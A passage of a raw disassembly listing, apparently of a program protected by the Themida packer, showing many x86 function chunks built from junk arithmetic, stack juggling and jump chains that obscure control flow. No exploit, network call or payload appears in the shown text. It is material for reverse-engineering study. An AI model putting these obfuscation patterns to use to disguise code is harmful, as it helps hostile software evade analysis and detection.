; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_57354D loc_5709E4: ; CODE XREF: sub_57354D-12602j push 5A8Eh mov [esp+8+var_8], ebx mov ebx, 4E616C33h jmp loc_56B429 ; END OF FUNCTION CHUNK FOR sub_57354D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_565A8D loc_5709F6: ; CODE XREF: sub_565A8D+429Dj pop [esp+4+var_4] pop esp push 11D3h mov [esp+0], esi jmp loc_5686BE ; END OF FUNCTION CHUNK FOR sub_565A8D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5747AF loc_570A07: ; CODE XREF: sub_5747AF-12089j pop esi jmp loc_56624C ; END OF FUNCTION CHUNK FOR sub_5747AF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_563819 loc_570A0D: ; CODE XREF: sub_563819+5F44j push esi push esp pop esi add esi, 4 jmp loc_571D5A ; END OF FUNCTION CHUNK FOR sub_563819 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_561027 loc_570A1B: ; CODE XREF: sub_561027-30Fj mov edi, 1CE46C0Ah add edx, edi pop edi pop eax push ebp mov ebp, 174A2ABDh add edx, ebp pop ebp jmp loc_56BB4A ; END OF FUNCTION CHUNK FOR sub_561027 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_570732 loc_570A32: ; CODE XREF: sub_570732-1BC7j push [esp+14h+var_10] pop edx jmp loc_56F5AE ; END OF FUNCTION CHUNK FOR sub_570732 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56E126 loc_570A3C: ; CODE XREF: sub_56E126+2969j mov edx, 3DA11ABCh mov ecx, 72882CCBh xor ecx, edx mov edx, [esp+10h+var_10] add esp, 4 xor ecx, edi jmp loc_565EE5 ; END OF FUNCTION CHUNK FOR sub_56E126 ; --------------------------------------------------------------------------- loc_570A55: ; CODE XREF: Themida_:00568EEFj add ebx, eax jmp loc_56CF63 ; --------------------------------------------------------------------------- loc_570A5C: ; CODE XREF: Themida_:00570BD2j xor [esp], edx xor edx, [esp] pop esp jmp loc_571752 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56D4B8 loc_570A68: ; CODE XREF: sub_56D4B8-ADF6j add esp, 4 shr ecx, 0 or eax, eax jz loc_571DE2 push 7320h mov [esp-8+arg_4], ebx jmp loc_560B19 ; END OF FUNCTION CHUNK FOR sub_56D4B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_569FB8 loc_570A83: ; CODE XREF: sub_569FB8-996Fj pop small word ptr [edi+eax*4] jmp loc_55FF9F ; END OF FUNCTION CHUNK FOR sub_569FB8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56E126 loc_570A8C: ; CODE XREF: sub_56E126-19C2j mov [esp+10h+var_10], edx jmp loc_570A3C ; END OF FUNCTION CHUNK FOR sub_56E126 ; =============== S U B R O U T I N E ======================================= sub_570A94 proc near ; DATA XREF: Themida_:0055FE0Co push dword ptr [edi+1Ch] popf pop cx rcl word ptr [esp+0], cl pushf jmp loc_55FF9F sub_570A94 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5638E4 loc_570AA4: ; CODE XREF: sub_5638E4-33Bj jmp loc_55FF9F ; END OF FUNCTION CHUNK FOR sub_5638E4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574A21 loc_570AA9: ; CODE XREF: sub_574A21-C129j add eax, ebp push [esp+4+var_4] pop ebp add esp, 4 push ebp mov ebp, 6E105898h add eax, 54DF2316h sub eax, ebp sub eax, 54DF2316h pop ebp push esi mov esi, 62737B33h jmp loc_562FE9 ; END OF FUNCTION CHUNK FOR sub_574A21 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56638C loc_570AD3: ; CODE XREF: sub_56638C+3B48j dec eax inc eax jmp loc_560D7F ; END OF FUNCTION CHUNK FOR sub_56638C ; --------------------------------------------------------------------------- mov ax, [esp] push 459Bh mov [esp], ebx mov ebx, esp push ebp push ecx push edx jmp loc_56188F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56DA43 loc_570AF0: ; CODE XREF: sub_56DA43+2568j xchg ebx, ecx not ecx push ebp mov ebp, 73CD4E99h push ebp mov ebp, 209F0A5Ah jmp loc_56E3BF ; END OF FUNCTION CHUNK FOR sub_56DA43 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_560D31 loc_570B05: ; CODE XREF: sub_560D31+25j pop ebx mov edx, [esp+0] add esp, 4 jmp loc_568C2F ; END OF FUNCTION CHUNK FOR sub_560D31 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_569FB8 loc_570B11: ; CODE XREF: sub_569FB8+F6Bj pop esp push edx jmp loc_56F3BB ; END OF FUNCTION CHUNK FOR sub_569FB8 ; --------------------------------------------------------------------------- loc_570B18: ; CODE XREF: Themida_:00574201j push esp pop eax push edx push esp mov edx, [esp] add esp, 4 jmp loc_561684 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574A21 loc_570B2A: ; CODE XREF: sub_574A21+9BEj xor edx, ecx pop ecx sub eax, edx mov edx, [esp+4+var_4] add esp, 4 push ecx push eax jmp loc_5675FB ; END OF FUNCTION CHUNK FOR sub_574A21 ; =============== S U B R O U T I N E ======================================= sub_570B3C proc near ; CODE XREF: sub_563388+15j var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0056594E SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00566CC9 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0056768A SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00569099 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00569623 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 0056974A SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0056D7C5 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0056DF06 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 00570657 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 005719D5 SIZE 00000012 BYTES push ebx mov ebx, 776C7FA3h or edi, ebx pop ebx inc edi push ebx mov ebx, 444E79E4h not ebx xor ebx, 691E3B43h shl ebx, 2 shr ebx, 2 jmp loc_569623 sub_570B3C endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_571088 loc_570B5F: ; CODE XREF: sub_571088-A28Fj neg cl sub cl, 1Ah sub al, cl jmp loc_56843A ; END OF FUNCTION CHUNK FOR sub_571088 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56D69D loc_570B6B: ; CODE XREF: sub_56D69D-9A7Bj add ebx, 518C2D55h not ebx xor ebx, 89B7594Dh jmp loc_56ECCF ; END OF FUNCTION CHUNK FOR sub_56D69D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_572141 loc_570B7E: ; CODE XREF: sub_572141-513Dj pop ebx jmp loc_569658 ; END OF FUNCTION CHUNK FOR sub_572141 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574304 loc_570B84: ; CODE XREF: sub_574304-E48j and ecx, edi pop edi shr ecx, 0Bh push edx push edi sub esp, 4 mov [esp+8+var_8], esi mov esi, ebx push esi push ecx push eax jmp loc_566808 ; END OF FUNCTION CHUNK FOR sub_574304 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56616D loc_570B9F: ; CODE XREF: sub_56616D+A71Bj mov [esp+0], ebx mov ebx, 6A947EE6h push 21EA7CFCh pop esi xor esi, ebx pop ebx xor esi, 29784F1Ah push eax jmp loc_572152 ; END OF FUNCTION CHUNK FOR sub_56616D ; --------------------------------------------------------------------------- loc_570BBC: ; CODE XREF: Themida_:00561757j push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp add edx, 2 xor edx, [esp] jmp loc_570A5C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5643EB loc_570BD7: ; CODE XREF: sub_5643EB-2C6Cj sub edx, 666D1673h sub ebx, edx jmp loc_56A9DE ; END OF FUNCTION CHUNK FOR sub_5643EB ; --------------------------------------------------------------------------- loc_570BE4: ; CODE XREF: Themida_:00561963j pop dword ptr [esp] jmp loc_573158 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_571F6F loc_570BEC: ; CODE XREF: sub_571F6F+7EBj dec edi jmp loc_570D2E ; END OF FUNCTION CHUNK FOR sub_571F6F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56E126 loc_570BF2: ; CODE XREF: sub_56E126-63CFj not ebp xchg ebp, esi jmp loc_561BEA ; END OF FUNCTION CHUNK FOR sub_56E126 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56651E loc_570BFB: ; CODE XREF: sub_56651E-25B3j xor eax, 28E90DACh push 2DAh mov [esp+4+var_4], edi push esp pop edi push ebp mov ebp, 7DEE62BAh or ebp, 616056C9h add ebp, 82118909h add edi, 43005ECFh add edi, 5BBF0CCCh jmp loc_56FB59 ; END OF FUNCTION CHUNK FOR sub_56651E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_569193 loc_570C2D: ; CODE XREF: sub_569193+2D1Cj mov edi, esp add edi, 4 push 4E16h mov [esp+8+var_8], ecx jmp loc_56F712 ; END OF FUNCTION CHUNK FOR sub_569193 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5648C6 loc_570C42: ; CODE XREF: sub_5648C6+7020j pop ecx push ebp mov ebp, 723D1856h xor ebp, 545940D8h jmp loc_566F0F ; END OF FUNCTION CHUNK FOR sub_5648C6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56AEF2 loc_570C54: ; CODE XREF: sub_56AEF2-2323j shl al, 3 push edx mov dh, 5Eh add dh, 72h sub dh, 0C0h xor al, dh pop edx add al, 91h jmp loc_564F2B ; END OF FUNCTION CHUNK FOR sub_56AEF2 ; =============== S U B R O U T I N E ======================================= sub_570C6A proc near ; DATA XREF: Themida_:0055FEDCo var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 00564307 SIZE 0000002F BYTES ; FUNCTION CHUNK AT 005657D6 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0056692C SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0056B076 SIZE 00000034 BYTES ; FUNCTION CHUNK AT 0056C77A SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0056C817 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0056F566 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00573716 SIZE 0000001F BYTES mov ax, [esp+0] push ebp push edi mov edi, esp push ebp mov ebp, 4 add edi, ebp pop ebp sub edi, 4 xchg edi, [esp+8+var_8] jmp loc_56F566 sub_570C6A endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56E96D loc_570C89: ; CODE XREF: sub_56E96D+48AAj add ebp, 4 xchg ebp, [esp+0Ch+var_C] mov esp, [esp+0Ch+var_C] push ebx mov ebx, 587F7D5Ch push ebx dec [esp+8+var_8] mov ebx, [esp+8+var_8] jmp loc_568E67 ; END OF FUNCTION CHUNK FOR sub_56E96D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_560844 loc_570CA7: ; CODE XREF: sub_560844+659Dj push esi jmp loc_572D35 ; END OF FUNCTION CHUNK FOR sub_560844 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_563819 loc_570CAD: ; CODE XREF: sub_563819+10BAAj sub edx, 39ED111Ch add edx, edi add edx, 39ED111Ch push 37CDh jmp loc_56DF7F ; END OF FUNCTION CHUNK FOR sub_563819 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56D3AF loc_570CC5: ; CODE XREF: sub_56D3AF-A4DBj add [esp+0Ch+var_8], 6173036Bh pop ebx mov esi, [esp+8+var_8] add esp, 4 push 7380h jmp loc_56EF88 ; END OF FUNCTION CHUNK FOR sub_56D3AF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_569A84 loc_570CDE: ; CODE XREF: sub_569A84+9912j push esp jmp loc_564C44 ; END OF FUNCTION CHUNK FOR sub_569A84 ; =============== S U B R O U T I N E ======================================= sub_570CE4 proc near ; DATA XREF: Themida_:0055FF20o var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 005608E3 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00561EBA SIZE 0000001F BYTES ; FUNCTION CHUNK AT 005643CF SIZE 0000000F BYTES ; FUNCTION CHUNK AT 00565346 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0056660F SIZE 00000010 BYTES ; FUNCTION CHUNK AT 00567BBE SIZE 0000001D BYTES ; FUNCTION CHUNK AT 00567D24 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0056808E SIZE 0000001E BYTES ; FUNCTION CHUNK AT 00569EE0 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0056A138 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0056A706 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0056BDFF SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00571912 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 00572AE6 SIZE 0000001E BYTES ; FUNCTION CHUNK AT 00572F6D SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00573840 SIZE 0000002C BYTES ; FUNCTION CHUNK AT 0057391E SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00573F09 SIZE 0000001E BYTES ; FUNCTION CHUNK AT 00573FC0 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 00574FAE SIZE 0000000E BYTES lodsd add eax, 2BF72B2Ah add eax, ebx sub esp, 4 jmp loc_567BBE sub_570CE4 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_563A7F loc_570CF4: ; CODE XREF: sub_563A7F-1EE8j xor dh, 0C3h sub bl, dh pop edx jmp loc_574A08 ; END OF FUNCTION CHUNK FOR sub_563A7F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56AA2B loc_570CFF: ; CODE XREF: sub_56AA2B+11j push ecx mov ecx, 746B7BC8h shr ecx, 5 jmp loc_569A6A ; END OF FUNCTION CHUNK FOR sub_56AA2B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_572E16 loc_570D0D: ; CODE XREF: sub_572E16-E647j xchg ebp, [esp+0Ch+var_C] pop esp sub esp, 4 mov [esp+0Ch+var_C], ecx mov ecx, 3CD64E29h jmp loc_57267E ; END OF FUNCTION CHUNK FOR sub_572E16 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5685B2 loc_570D21: ; CODE XREF: sub_5685B2+3A90j mov ebx, 4 add eax, ebx pop ebx jmp loc_566EBB ; END OF FUNCTION CHUNK FOR sub_5685B2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_571F6F loc_570D2E: ; CODE XREF: sub_571F6F-1382j not edi push ecx mov ecx, 0B651D3E4h xor edi, ecx jmp loc_56A874 ; END OF FUNCTION CHUNK FOR sub_571F6F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56A119 loc_570D3D: ; CODE XREF: sub_56A119-C4j pop ebx jmp loc_563A54 ; END OF FUNCTION CHUNK FOR sub_56A119 ; --------------------------------------------------------------------------- loc_570D43: ; CODE XREF: Themida_:005649E0j mov ebx, esi push dword ptr [esp] jmp loc_56C990 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_567D31 loc_570D4D: ; CODE XREF: sub_567D31-4AB9j sub ebp, 60DB41C7h jmp loc_560FC8 ; END OF FUNCTION CHUNK FOR sub_567D31 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56DD54 loc_570D58: ; CODE XREF: sub_56DD54-5822j mov [esp-4+arg_0], ecx sub esp, 4 mov [esp+0], esp push eax mov eax, 4 add [esp+4], eax pop eax pop ecx push 2012h mov [esp+0], esi mov esi, 763C69ECh push ecx jmp sub_5733CA ; END OF FUNCTION CHUNK FOR sub_56DD54 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5738F4 loc_570D80: ; CODE XREF: sub_5738F4-4019j pop edi xor ebx, [esp+0] jmp loc_56E19D ; END OF FUNCTION CHUNK FOR sub_5738F4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_565B6E loc_570D89: ; CODE XREF: sub_565B6E+B2F4j sub ecx, 8AB49513h add ebx, ecx pop ecx add eax, 78924C64h jmp loc_571F68 ; END OF FUNCTION CHUNK FOR sub_565B6E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5634AF loc_570D9C: ; CODE XREF: sub_5634AF+Bj add ebp, 4 jmp loc_570EFE ; END OF FUNCTION CHUNK FOR sub_5634AF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5680FB loc_570DA7: ; CODE XREF: sub_5680FB+36AEj not [esp+8+var_8] jmp loc_56EFCA ; END OF FUNCTION CHUNK FOR sub_5680FB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56E0B0 loc_570DAF: ; CODE XREF: sub_56E0B0-4868j add esi, 6054B364h sub edx, esi pop esi xor edx, 7BD226A1h xor edx, 212F858h sub eax, edx jmp loc_56AF52 ; END OF FUNCTION CHUNK FOR sub_56E0B0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_564D26 loc_570DCB: ; CODE XREF: sub_564D26-2FC0j pop ebp neg edi xor edi, 1EC6C30h push 1701h jmp loc_56AA02 ; END OF FUNCTION CHUNK FOR sub_564D26 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_569FB8 loc_570DDE: ; CODE XREF: sub_569FB8+5ECj mov [esp+6+var_6], edx push ecx sub esp, 4 mov [esp+0Eh+var_E], eax mov al, 7Bh mov cl, al mov eax, [esp+0Eh+var_E] add esp, 4 shl cl, 5 dec cl jmp loc_56DD83 ; END OF FUNCTION CHUNK FOR sub_569FB8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5754DA loc_570E02: ; CODE XREF: sub_5754DA-7B6Cj neg ch push eax mov al, 96h xor ch, al pop eax sub al, ch mov ecx, [esp+8+var_8] jmp loc_561FB4 ; END OF FUNCTION CHUNK FOR sub_5754DA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_571C93 loc_570E14: ; CODE XREF: sub_571C93+1DE7j mov ecx, 417470F0h push edx mov edx, 35EA382Bh add ecx, edx pop edx jmp loc_5727D1 ; END OF FUNCTION CHUNK FOR sub_571C93 ; =============== S U B R O U T I N E ======================================= sub_570E27 proc near ; CODE XREF: sub_56616D+E998j var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00562C72 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0056AC29 SIZE 00000022 BYTES ; FUNCTION CHUNK AT 0056B307 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0057501F SIZE 00000007 BYTES push ebx mov ebx, esp add ebx, 4 sub ebx, 4 jmp loc_56B307 sub_570E27 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_571289 loc_570E38: ; CODE XREF: sub_571289+6j push esi mov esi, 587A6C69h jmp loc_56A3BB ; END OF FUNCTION CHUNK FOR sub_571289 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56D464 loc_570E43: ; CODE XREF: sub_56D464-9612j mov eax, [esp+8+var_8] add esp, 4 jmp loc_566D4A ; END OF FUNCTION CHUNK FOR sub_56D464 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_569AB3 loc_570E51: ; CODE XREF: sub_569AB3-78A6j and eax, edx jmp loc_567995 ; END OF FUNCTION CHUNK FOR sub_569AB3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_565B6E loc_570E58: ; CODE XREF: sub_565B6E+2B09j dec ecx xor ecx, 48C91322h shr ecx, 4 jmp loc_570D89 ; END OF FUNCTION CHUNK FOR sub_565B6E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_571F6F loc_570E67: ; CODE XREF: sub_571F6F-2FAAj add bl, al sub bl, 8Ch add bl, 70h add bl, 3 sub bl, 0B9h movzx eax, al mov dx, [esp+0] jmp loc_57060E ; END OF FUNCTION CHUNK FOR sub_571F6F ; =============== S U B R O U T I N E ======================================= sub_570E81 proc near ; DATA XREF: Themida_:0055FD00o var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 00561AC8 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 00561BFC SIZE 0000001D BYTES ; FUNCTION CHUNK AT 0056230A SIZE 00000025 BYTES ; FUNCTION CHUNK AT 0056240B SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00564615 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 0056711C SIZE 0000001E BYTES ; FUNCTION CHUNK AT 00567A0F SIZE 00000009 BYTES ; FUNCTION CHUNK AT 005687BC SIZE 0000000F BYTES ; FUNCTION CHUNK AT 00568D09 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00569EAC SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0056CC51 SIZE 00000022 BYTES ; FUNCTION CHUNK AT 0056CCA3 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0056D56A SIZE 0000001F BYTES ; FUNCTION CHUNK AT 0056D8AC SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0056E3A9 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 0056EFB0 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0057081E SIZE 00000016 BYTES ; FUNCTION CHUNK AT 00571DBB SIZE 0000001B BYTES ; FUNCTION CHUNK AT 0057479A SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00575306 SIZE 00000007 BYTES push dword ptr [esp+0] mov eax, [esp+4+var_4] add esp, 4 sub esp, 4 jmp loc_569EAC sub_570E81 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5733CA loc_570E92: ; CODE XREF: sub_5733CA+1953j sub ebp, 0FD33847Dh jmp loc_569F5D ; END OF FUNCTION CHUNK FOR sub_5733CA ; --------------------------------------------------------------------------- loc_570E9D: ; CODE XREF: Themida_:0056DFA5j mov [esp], ebp mov ebp, esp jmp loc_567A33 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_571F6F loc_570EA7: ; CODE XREF: sub_571F6F-B86Ej shl ch, 1 jmp loc_56625B ; END OF FUNCTION CHUNK FOR sub_571F6F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574FC9 loc_570EAE: ; CODE XREF: sub_574FC9-D4BAj add ebx, 3FADAB44h push ebx pop edx mov ebx, [esp+0Ch+var_C] add esp, 4 add edx, 0C289AEB8h mov ecx, edx pop edx sub esi, 4E6057D7h add esi, ecx push eax mov eax, 28BF7674h push edx mov edx, 25A0E163h add eax, edx pop edx jmp loc_56E755 ; END OF FUNCTION CHUNK FOR sub_574FC9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_57354D loc_570EE1: ; CODE XREF: sub_57354D-12E48j pop ebx push ebp jmp loc_562F88 ; END OF FUNCTION CHUNK FOR sub_57354D ; --------------------------------------------------------------------------- loc_570EE8: ; CODE XREF: Themida_:0056A963j pop edi not esi push ebp mov ebp, 2DAB1ADAh jmp loc_561A6B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_564686 loc_570EF6: ; CODE XREF: sub_564686+6j mov [esp+4+var_4], ebp jmp loc_565901 ; END OF FUNCTION CHUNK FOR sub_564686 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5634AF loc_570EFE: ; CODE XREF: sub_5634AF+D8F3j sub ebp, 4 xchg ebp, [esp+0] pop esp mov [esp+0], ecx push esi push ebp jmp loc_56557F ; END OF FUNCTION CHUNK FOR sub_5634AF ; =============== S U B R O U T I N E ======================================= sub_570F0F proc near ; CODE XREF: sub_56AEF2-A953j var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00560402 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0056A408 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0056E3DB SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0056E400 SIZE 00000034 BYTES ; FUNCTION CHUNK AT 0056F9A9 SIZE 0000000C BYTES sub esp, 4 mov [esp+4+var_4], ebx push 4AECh mov [esp+8+var_8], edx jmp loc_56E400 sub_570F0F endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_569A84 loc_570F25: ; CODE XREF: sub_569A84-FB0j mov [esp+4+var_4], edi mov edi, 4 add ebx, edi mov edi, [esp+4+var_4] push eax mov eax, esp add eax, 4 push edi mov edi, 4 add eax, edi pop edi xchg eax, [esp+8+var_8] pop esp push edx sub esp, 4 mov [esp+0Ch+var_C], eax mov eax, 5ED46F9Fh jmp loc_564EE9 ; END OF FUNCTION CHUNK FOR sub_569A84 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56A119 loc_570F5B: ; CODE XREF: sub_56A119+7057j pop ebx push edi mov edi, esp jmp loc_56FC95 ; END OF FUNCTION CHUNK FOR sub_56A119 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_564D26 loc_570F64: ; CODE XREF: sub_564D26-1AF3j push ecx push 4946h mov [esp+1Ch+var_1C], edx push 58Dh jmp loc_560AF7 ; END OF FUNCTION CHUNK FOR sub_564D26 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_57199D loc_570F77: ; CODE XREF: sub_57199D+3j add ebx, 4 jmp loc_57049D ; END OF FUNCTION CHUNK FOR sub_57199D ; =============== S U B R O U T I N E ======================================= sub_570F82 proc near ; CODE XREF: sub_5735AA-CD78j var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0056F7F2 SIZE 0000000C BYTES sub esp, 4 mov [esp+4+var_4], edi jmp loc_56F7F2 sub_570F82 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5678CB loc_570F8D: ; CODE XREF: sub_5678CB+3CEj push [esp+4+var_4] pop ecx add esp, 4 dec dl or dl, 1Eh push esi mov esi, esp push ebp mov ebp, 306140E8h or ebp, 4297637Eh or ebp, 64652738h push ebx jmp loc_563E19 ; END OF FUNCTION CHUNK FOR sub_5678CB ; =============== S U B R O U T I N E ======================================= sub_570FB7 proc near ; CODE XREF: sub_574304-B7B4j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 005605F5 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 00564082 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0056571C SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00565F2C SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0056BA40 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0056C458 SIZE 0000001C BYTES ; FUNCTION CHUNK AT 0056D987 SIZE 00000023 BYTES ; FUNCTION CHUNK AT 0056DB7E SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0056E385 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0056F507 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00571233 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005715A7 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 0057369F SIZE 00000020 BYTES ; FUNCTION CHUNK AT 005749BA SIZE 00000009 BYTES sub esp, 4 mov [esp+8+var_8], esi xor [esp+8+var_8], 418D31C3h pop ebx xor ebx, 418D31C3h pop esi jmp loc_565F2C sub_570FB7 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56C4FF loc_570FD1: ; CODE XREF: sub_56C4FF+3049j inc dword ptr [esp+0] pushf jmp loc_55FF9F ; END OF FUNCTION CHUNK FOR sub_56C4FF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56B11B loc_570FDA: ; CODE XREF: sub_56B11B+309j mov [esp+8+var_8], edx mov edx, esp add edx, 4 sub esp, 4 mov [esp+0Ch+var_C], eax mov eax, 4 jmp loc_56403B ; END OF FUNCTION CHUNK FOR sub_56B11B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5653AD loc_570FF5: ; CODE XREF: sub_5653AD+4DEj xor edx, edi pop edi xor edx, 0AFC7B217h jmp loc_561A1A ; END OF FUNCTION CHUNK FOR sub_5653AD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56616D loc_571003: ; CODE XREF: sub_56616D+E409j push esi mov esi, esp jmp loc_57347C ; END OF FUNCTION CHUNK FOR sub_56616D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_560EA2 loc_57100B: ; CODE XREF: sub_560EA2-C6j pop ebx 